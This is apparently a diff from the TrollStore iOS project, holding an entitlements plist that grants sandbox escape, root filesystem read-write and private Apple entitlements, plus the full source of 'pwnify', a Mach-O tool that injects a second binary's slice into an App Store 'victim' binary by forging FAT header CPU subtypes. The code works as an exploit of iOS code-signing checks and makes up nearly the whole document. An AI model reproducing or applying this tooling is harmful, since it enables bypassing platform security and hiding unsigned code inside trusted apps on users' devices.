<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>com.opa334.TrollStore</string>
|
||||
<key>platform-application</key>
|
||||
<true/>
|
||||
<key>com.apple.security.exception.files.absolute-path.read-write</key>
|
||||
<array>
|
||||
<string>/</string>
|
||||
</array>
|
||||
<key>com.apple.private.security.no-sandbox</key>
|
||||
<true/>
|
||||
<key>com.apple.private.persona-mgmt</key>
|
||||
<true/>
|
||||
<key>com.apple.private.security.system-application</key>
|
||||
<true/>
|
||||
<key>com.apple.private.security.container-manager</key>
|
||||
<true/>
|
||||
<key>com.apple.private.coreservices.canmaplsdatabase</key>
|
||||
<true/>
|
||||
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileContainerManager.allowed</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.allowed</key>
|
||||
<true/>
|
||||
<key>com.apple.private.uninstall.deletion</key>
|
||||
<true/>
|
||||
<key>com.apple.CommCenter.fine-grained</key>
|
||||
<array>
|
||||
<string>cellular-plan</string>
|
||||
<string>data-usage</string>
|
||||
<string>data-allowed-write</string>
|
||||
<string>preferences-write</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
|
@ -1,12 +0,0 @@
|
|||
#import <Foundation/Foundation.h>
|
||||
#import "TSPHAppDelegate.h"
|
||||
#import "../Store/TSUtil.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
|
||||
[mcmBundle load];
|
||||
chineseWifiFixup();
|
||||
return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSPHAppDelegate.class));
|
||||
}
|
||||
}
|
|
@ -0,0 +1,9 @@
|
|||
pwnify:
|
||||
@clang main.m -fobjc-arc -fmodules -mmacosx-version-min=11.0 -o pwnify
|
||||
|
||||
install: pwnify
|
||||
-@sudo rm /usr/local/bin/pwnify 2>/dev/null || true
|
||||
@sudo cp ./pwnify /usr/local/bin/pwnify
|
||||
|
||||
clean:
|
||||
@rm ./pwnify 2>/dev/null || true
|
|
@ -0,0 +1,417 @@
|
|||
//
|
||||
// main.m
|
||||
// pwnify-universal
|
||||
//
|
||||
// Created by Lars Fröder on 08.10.22.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#import <mach-o/loader.h>
|
||||
#import <mach-o/fat.h>
|
||||
#import <sys/stat.h>
|
||||
|
||||
#define ALIGN_DEFAULT 0xE
|
||||
|
||||
uint32_t roundUp(int numToRound, int multiple)
|
||||
{
|
||||
if (multiple == 0)
|
||||
return numToRound;
|
||||
|
||||
int remainder = numToRound % multiple;
|
||||
if (remainder == 0)
|
||||
return numToRound;
|
||||
|
||||
return numToRound + multiple - remainder;
|
||||
}
|
||||
|
||||
void expandFile(FILE* file, uint32_t size)
|
||||
{
|
||||
fseek(file, 0, SEEK_END);
|
||||
if(ftell(file) >= size) return;
|
||||
|
||||
while(ftell(file) != size)
|
||||
{
|
||||
char c = 0;
|
||||
fwrite(&c, 1, 1, file);
|
||||
}
|
||||
}
|
||||
|
||||
void copyData(FILE* sourceFile, FILE* targetFile, size_t size)
|
||||
{
|
||||
for(size_t i = 0; i < size; i++)
|
||||
{
|
||||
char b;
|
||||
fread(&b, 1, 1, sourceFile);
|
||||
fwrite(&b, 1, 1, targetFile);
|
||||
}
|
||||
}
|
||||
|
||||
void enumerateArchs(NSString* binaryPath, void (^archEnumBlock)(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop))
|
||||
{
|
||||
FILE* machoFile = fopen(binaryPath.UTF8String, "rb");
|
||||
if(!machoFile) return;
|
||||
|
||||
struct mach_header header;
|
||||
fread(&header,sizeof(header),1,machoFile);
|
||||
|
||||
if(header.magic == FAT_MAGIC || header.magic == FAT_CIGAM)
|
||||
{
|
||||
fseek(machoFile,0,SEEK_SET);
|
||||
struct fat_header fatHeader;
|
||||
fread(&fatHeader,sizeof(fatHeader),1,machoFile);
|
||||
|
||||
for(int i = 0; i < OSSwapBigToHostInt32(fatHeader.nfat_arch); i++)
|
||||
{
|
||||
uint32_t archFileOffset = sizeof(fatHeader) + sizeof(struct fat_arch) * i;
|
||||
struct fat_arch fatArch;
|
||||
fseek(machoFile, archFileOffset,SEEK_SET);
|
||||
fread(&fatArch,sizeof(fatArch),1,machoFile);
|
||||
|
||||
uint32_t sliceFileOffset = OSSwapBigToHostInt32(fatArch.offset);
|
||||
struct mach_header archHeader;
|
||||
fseek(machoFile, sliceFileOffset, SEEK_SET);
|
||||
fread(&archHeader,sizeof(archHeader),1,machoFile);
|
||||
|
||||
BOOL stop = NO;
|
||||
archEnumBlock(&fatArch, archFileOffset, &archHeader, sliceFileOffset, machoFile, &stop);
|
||||
if(stop) break;
|
||||
}
|
||||
}
|
||||
else if(header.magic == MH_MAGIC_64 || header.magic == MH_CIGAM_64)
|
||||
{
|
||||
BOOL stop;
|
||||
archEnumBlock(NULL, 0, &header, 0, machoFile, &stop);
|
||||
}
|
||||
|
||||
fclose(machoFile);
|
||||
}
|
||||
|
||||
void printArchs(NSString* binaryPath)
|
||||
{
|
||||
__block int i = 0;
|
||||
enumerateArchs(binaryPath, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
if(arch)
|
||||
{
|
||||
printf("%d. fatArch type: 0x%X, subtype: 0x%X, align:0x%X, size:0x%X, offset:0x%X\n| ", i, OSSwapBigToHostInt32(arch->cputype), OSSwapBigToHostInt32(arch->cpusubtype), OSSwapBigToHostInt32(arch->align), OSSwapBigToHostInt32(arch->size), OSSwapBigToHostInt32(arch->offset));
|
||||
}
|
||||
printf("machHeader type: 0x%X, subtype: 0x%X\n", OSSwapLittleToHostInt32(machHeader->cputype), OSSwapLittleToHostInt32(machHeader->cpusubtype));
|
||||
|
||||
i++;
|
||||
});
|
||||
}
|
||||
|
||||
void pwnify(NSString* appStoreBinary, NSString* binaryToInject, BOOL preferArm64e)
|
||||
{
|
||||
NSString* tmpFilePath = [NSTemporaryDirectory() stringByAppendingString:[[NSUUID UUID] UUIDString]];
|
||||
|
||||
// Determine amount of slices in output
|
||||
__block int slicesCount = 1;
|
||||
enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
slicesCount++;
|
||||
});
|
||||
|
||||
// Allocate FAT data
|
||||
uint32_t fatDataSize = sizeof(struct fat_header) + slicesCount * sizeof(struct fat_arch);
|
||||
char* fatData = malloc(fatDataSize);
|
||||
|
||||
// Construct new fat header
|
||||
struct fat_header fatHeader;
|
||||
fatHeader.magic = OSSwapHostToBigInt32(0xCAFEBABE);
|
||||
fatHeader.nfat_arch = OSSwapHostToBigInt32(slicesCount);
|
||||
memcpy(&fatData[0], &fatHeader, sizeof(fatHeader));
|
||||
|
||||
uint32_t align = pow(2, ALIGN_DEFAULT);
|
||||
__block uint32_t curOffset = align;
|
||||
__block uint32_t curArchIndex = 0;
|
||||
|
||||
// Construct new fat arch data
|
||||
enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
struct fat_arch newArch;
|
||||
if(arch)
|
||||
{
|
||||
newArch.cputype = arch->cputype;
|
||||
|
||||
if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C)
|
||||
{
|
||||
newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e
|
||||
}
|
||||
else
|
||||
{
|
||||
newArch.cpusubtype = arch->cpusubtype;
|
||||
}
|
||||
|
||||
newArch.size = arch->size;
|
||||
}
|
||||
else
|
||||
{
|
||||
newArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype));
|
||||
|
||||
if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C)
|
||||
{
|
||||
newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e
|
||||
}
|
||||
else
|
||||
{
|
||||
newArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype));
|
||||
}
|
||||
|
||||
newArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:appStoreBinary error:nil] fileSize]);
|
||||
}
|
||||
|
||||
newArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT);
|
||||
newArch.offset = OSSwapHostToBigInt32(curOffset);
|
||||
curOffset += roundUp(OSSwapBigToHostInt32(newArch.size), align);
|
||||
|
||||
memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], &newArch, sizeof(newArch));
|
||||
curArchIndex++;
|
||||
});
|
||||
|
||||
// Determine what slices our injection binary contains
|
||||
__block BOOL toInjectHasArm64e = NO;
|
||||
__block BOOL toInjectHasArm64 = NO;
|
||||
enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
if(arch)
|
||||
{
|
||||
if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C)
|
||||
{
|
||||
if (!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x2) & 0xFFFFFF))
|
||||
{
|
||||
toInjectHasArm64e = YES;
|
||||
}
|
||||
else if(!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x1) & 0xFFFFFF))
|
||||
{
|
||||
toInjectHasArm64 = YES;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C)
|
||||
{
|
||||
if (!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x2) & 0xFFFFFF))
|
||||
{
|
||||
toInjectHasArm64e = YES;
|
||||
}
|
||||
else if(!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x1) & 0xFFFFFF))
|
||||
{
|
||||
toInjectHasArm64 = YES;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
if(!toInjectHasArm64 && !preferArm64e)
|
||||
{
|
||||
printf("ERROR: can't proceed injection because binary to inject has no arm64 slice\n");
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t subtypeToUse = 0x1;
|
||||
if(preferArm64e && toInjectHasArm64e)
|
||||
{
|
||||
subtypeToUse = 0x2;
|
||||
}
|
||||
|
||||
enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
struct fat_arch currentArch;
|
||||
if(arch)
|
||||
{
|
||||
currentArch.cputype = arch->cputype;
|
||||
currentArch.cpusubtype = arch->cpusubtype;
|
||||
currentArch.size = arch->size;
|
||||
}
|
||||
else
|
||||
{
|
||||
currentArch.cputype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cputype));
|
||||
currentArch.cpusubtype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cpusubtype));
|
||||
currentArch.size = OSSwapHostToBigInt((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]);
|
||||
}
|
||||
|
||||
if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C)
|
||||
{
|
||||
if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF))
|
||||
{
|
||||
currentArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT);
|
||||
currentArch.offset = OSSwapHostToBigInt32(curOffset);
|
||||
curOffset += roundUp(OSSwapBigToHostInt32(currentArch.size), align);
|
||||
memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], ¤tArch, sizeof(currentArch));
|
||||
curArchIndex++;
|
||||
*stop = YES;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// FAT Header constructed, now write to file and then write the slices themselves
|
||||
|
||||
FILE* tmpFile = fopen(tmpFilePath.UTF8String, "wb");
|
||||
fwrite(&fatData[0], fatDataSize, 1, tmpFile);
|
||||
|
||||
curArchIndex = 0;
|
||||
enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex];
|
||||
|
||||
expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset));
|
||||
|
||||
uint32_t offset = 0;
|
||||
uint32_t size = 0;
|
||||
|
||||
if(arch)
|
||||
{
|
||||
offset = OSSwapBigToHostInt32(arch->offset);
|
||||
size = OSSwapBigToHostInt32(arch->size);
|
||||
}
|
||||
else
|
||||
{
|
||||
size = OSSwapBigToHostInt32(toWriteArch->size);
|
||||
}
|
||||
|
||||
FILE* appStoreBinaryFile = fopen(appStoreBinary.UTF8String, "rb");
|
||||
fseek(appStoreBinaryFile, offset, SEEK_SET);
|
||||
copyData(appStoreBinaryFile, tmpFile, size);
|
||||
fclose(appStoreBinaryFile);
|
||||
curArchIndex++;
|
||||
});
|
||||
|
||||
struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex];
|
||||
enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) {
|
||||
struct fat_arch currentArch;
|
||||
if(arch)
|
||||
{
|
||||
currentArch.cputype = arch->cputype;
|
||||
currentArch.cpusubtype = arch->cpusubtype;
|
||||
currentArch.size = arch->size;
|
||||
}
|
||||
else
|
||||
{
|
||||
currentArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype));
|
||||
currentArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype));
|
||||
currentArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]);
|
||||
}
|
||||
|
||||
if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C)
|
||||
{
|
||||
if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF))
|
||||
{
|
||||
expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset));
|
||||
|
||||
uint32_t offset = 0;
|
||||
uint32_t size = 0;
|
||||
|
||||
if(arch)
|
||||
{
|
||||
offset = OSSwapBigToHostInt32(arch->offset);
|
||||
size = OSSwapBigToHostInt32(arch->size);
|
||||
}
|
||||
else
|
||||
{
|
||||
size = OSSwapBigToHostInt32(toWriteArch->size);
|
||||
}
|
||||
|
||||
FILE* binaryToInjectFile = fopen(binaryToInject.UTF8String, "rb");
|
||||
fseek(binaryToInjectFile, offset, SEEK_SET);
|
||||
copyData(binaryToInjectFile, tmpFile, size);
|
||||
fclose(binaryToInjectFile);
|
||||
*stop = YES;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
fclose(tmpFile);
|
||||
chmod(tmpFilePath.UTF8String, 0755);
|
||||
|
||||
[[NSFileManager defaultManager] removeItemAtPath:appStoreBinary error:nil];
|
||||
[[NSFileManager defaultManager] moveItemAtPath:tmpFilePath toPath:appStoreBinary error:nil];
|
||||
}
|
||||
|
||||
void setCPUSubtype(NSString* binaryPath, uint32_t subtype)
|
||||
{
|
||||
FILE* binaryFile = fopen(binaryPath.UTF8String, "rb+");
|
||||
if(!binaryFile)
|
||||
{
|
||||
printf("ERROR: File not found\n");
|
||||
return;
|
||||
}
|
||||
|
||||
enumerateArchs(binaryPath, ^(struct fat_arch *arch, uint32_t archFileOffset, struct mach_header *machHeader, uint32_t sliceFileOffset, FILE *file, BOOL *stop) {
|
||||
|
||||
if(arch)
|
||||
{
|
||||
if(OSSwapBigToHostInt(arch->cputype) == 0x100000C)
|
||||
{
|
||||
if(OSSwapBigToHostInt(arch->cpusubtype) == 0x0)
|
||||
{
|
||||
arch->cpusubtype = OSSwapHostToBigInt32(subtype);
|
||||
fseek(binaryFile, archFileOffset, SEEK_SET);
|
||||
fwrite(arch, sizeof(struct fat_arch), 1, binaryFile);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C)
|
||||
{
|
||||
if(OSSwapLittleToHostInt32(machHeader->cpusubtype) == 0x0)
|
||||
{
|
||||
machHeader->cpusubtype = OSSwapHostToLittleInt32(subtype);
|
||||
fseek(binaryFile, sliceFileOffset, SEEK_SET);
|
||||
fwrite(machHeader, sizeof(struct mach_header), 1, binaryFile);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
fclose(binaryFile);
|
||||
}
|
||||
|
||||
void printUsageAndExit(void)
|
||||
{
|
||||
printf("Usage:\n\nPrint architectures of a binary:\npwnify print <path/to/binary>\n\nInject target slice into victim binary:\npwnify pwn(64e) <path/to/victim/binary> <path/to/target/binary>\n\nModify cpusubtype of a non FAT binary:\npwnify set-cpusubtype <path/to/binary> <cpusubtype>\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if(argc < 3)
|
||||
{
|
||||
printUsageAndExit();
|
||||
}
|
||||
|
||||
NSString* operation = [NSString stringWithUTF8String:argv[1]];
|
||||
|
||||
if([operation isEqualToString:@"print"])
|
||||
{
|
||||
NSString* binaryToPrint = [NSString stringWithUTF8String:argv[2]];
|
||||
printArchs(binaryToPrint);
|
||||
}
|
||||
else if([operation isEqualToString:@"pwn"])
|
||||
{
|
||||
if(argc < 4) printUsageAndExit();
|
||||
NSString* victimBinary = [NSString stringWithUTF8String:argv[2]];
|
||||
NSString* targetBinary = [NSString stringWithUTF8String:argv[3]];
|
||||
pwnify(victimBinary, targetBinary, NO);
|
||||
}
|
||||
else if([operation isEqualToString:@"pwn64e"])
|
||||
{
|
||||
if(argc < 4) printUsageAndExit();
|
||||
NSString* victimBinary = [NSString stringWithUTF8String:argv[2]];
|
||||
NSString* targetBinary = [NSString stringWithUTF8String:argv[3]];
|
||||
pwnify(victimBinary, targetBinary, YES);
|
||||
}
|
||||
else if([operation isEqualToString:@"set-cpusubtype"])
|
||||
{
|
||||
if(argc < 4) printUsageAndExit();
|
||||
NSString* binaryToModify = [NSString stringWithUTF8String:argv[2]];
|
||||
NSString* subtypeToSet = [NSString stringWithUTF8String:argv[3]];
|
||||
|
||||
NSNumberFormatter* f = [[NSNumberFormatter alloc] init];
|
||||
f.numberStyle = NSNumberFormatterDecimalStyle;
|
||||
NSNumber* subtypeToSetNum = [f numberFromString:subtypeToSet];
|
||||
|
||||
setCPUSubtype(binaryToModify, [subtypeToSetNum unsignedIntValue]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printUsageAndExit();
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|